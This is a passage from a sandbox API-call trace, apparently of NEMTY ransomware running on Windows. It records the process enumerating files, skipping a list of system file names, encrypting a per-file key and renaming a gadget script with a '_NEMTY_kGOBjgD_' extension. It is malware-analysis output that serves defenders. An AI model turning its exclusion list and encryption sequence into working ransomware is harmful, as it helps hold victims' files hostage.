lpMultiByteStr="picturePuzzle.js", lpUsedDefaultChar=0x0) returned 16 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.js", lpUsedDefaultChar=0x0) returned 16 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0134.353] Sleep (dwMilliseconds=0x5) [0134.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3bb6790, dwHighDateTime=0x1d561e8)) [0134.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3bb6790, dwHighDateTime=0x1d561e8)) [0134.361] GetLastError () returned 0xb7 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.361] GetLastError () returned 0xb7 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0134.361] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0134.361] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0134.361] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0134.361] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e5dc | out: pszString="ZeYN96ZmZ4qQ2uz6Z3D3ZfwgG9QhvJ/fhW6bWOakbutqIZJn7RcOWb5SynIMBfqJ\r\nRgPFo9isTc8d+nXqW/bkaF5lsx8F5vJEEOz0CR43VpgzqFcUorIgwpm6CNYMDhRS\r\nusrnek3NjgbdpK0cPKyGms6Kv2qjJduboCcYZNovUZq4xL6T2DIwiitCQsosd/D5\r\nt7Ap7fW2M0WnNsWvZ8HALOiz3KOyEtuR/gDh4IDsgjcAWevz2sd0ST2FDrzV51Ps\r\nuHMzuh1nwnhYVPU6KaUQc1jJw71FQF3IN5SEg5ar5V2VT6nvb1oZHwAT6vzExf/W\r\nUODjqgxebrBbTKSHxAYNuw==\r\n", pcchString=0x653e5dc) returned 1 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0134.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.361] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.361] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0134.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.467] CloseHandle (hObject=0xffffffff) returned 0 [0134.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0134.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0134.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0134.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340488 [0134.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0134.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js._nemty_kgobjgd_")) returned 0 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.470] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2=".") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="..") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="...") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="windows") returned -1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="$RECYCLE.BIN") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="rsa") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="NTDETECT.COM") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="ntldr") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="MSDOS.SYS") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="IO.SYS") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="AUTOEXEC.BAT") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="ntuser.dat") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="desktop.ini") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="CONFIG.SYS") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="RECYCLER") returned 1 [0134.470] lstrcmpiW (lpString1="settings.js", lpString2="BOOTSECT.BAK") returned 1 [0134.471] lstrcmpiW (lpString1="settings.js", lpString2="bootmgr") returned 1 [0134.471] lstrcmpiW (lpString1="settings.js", lpString2="programdata") returned 1 [0134.471] lstrcmpiW (lpString1="settings.js", lpString2="appdata") returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0134.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0134.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0134.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0134.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0134.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0134.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.471] Sleep (dwMilliseconds=0x5) [0134.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3ce7290, dwHighDateTime=0x1d561e8)) [0134.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3ce7290, dwHighDateTime=0x1d561e8)) [0134.486] GetLastError () returned 0x5 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.486] GetLastError () returned 0x5 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0134.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0134.486] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0134.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0134.486] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e5dc | out: 